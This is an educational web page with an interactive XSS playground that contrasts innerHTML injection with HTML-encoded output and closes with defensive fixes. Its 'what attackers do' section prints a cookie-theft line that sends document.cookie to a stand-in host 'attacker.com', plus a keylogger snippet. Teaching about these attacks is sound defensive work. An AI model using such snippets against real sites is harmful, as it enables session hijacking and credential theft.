← Back to Guides

⚡ XSS Playground

See how Cross-Site Scripting works by injecting into a simulated page — then flip the switch to see HTML encoding block it.

⚠️

Safe sandbox. The "vulnerable" preview runs in a sandboxed iframe with no access to cookies, localStorage, or any real page context. Alerts shown are simulated — no real JavaScript is executed outside the sandbox.

Try XSS Payloads

Quick payloads:

Vulnerable — innerHTML injection

vulnerable-site.com/comments

Latest comment from user:

// document.getElementById('output').innerHTML = userInput

Safe — HTML-encoded output

safe-site.com/comments

Latest comment from user:

// element.textContent = userInput

✅ HTML entities: <script> → shown as text, never executed.

💣 What attackers actually do with XSS

An alert() is just the proof of concept. Real attacks go much further.

🍪 Session token theft

fetch('https://attacker.com/steal?c='+document.cookie)

Sends the victim's session cookie to the attacker. Instant account takeover even without knowing the password.

🎣 Fake login form

Inject a convincing login form overlay. Victim thinks they need to re-authenticate — attacker receives the credentials.

⌨️ Keylogger

document.addEventListener('keydown', e => exfil(e.key))

Records every keystroke — passwords, credit card numbers, private messages.

🔄 CSRF amplification

XSS gives same-origin access — bypassing SameSite cookie restrictions. Can perform any action the victim is authenticated to do.

The fix: Always use textContent instead of innerHTML when inserting user data. Use templating engines that auto-escape by default. Add a strong CSP. Mark cookies HttpOnly so stolen cookies can't be read via JavaScript.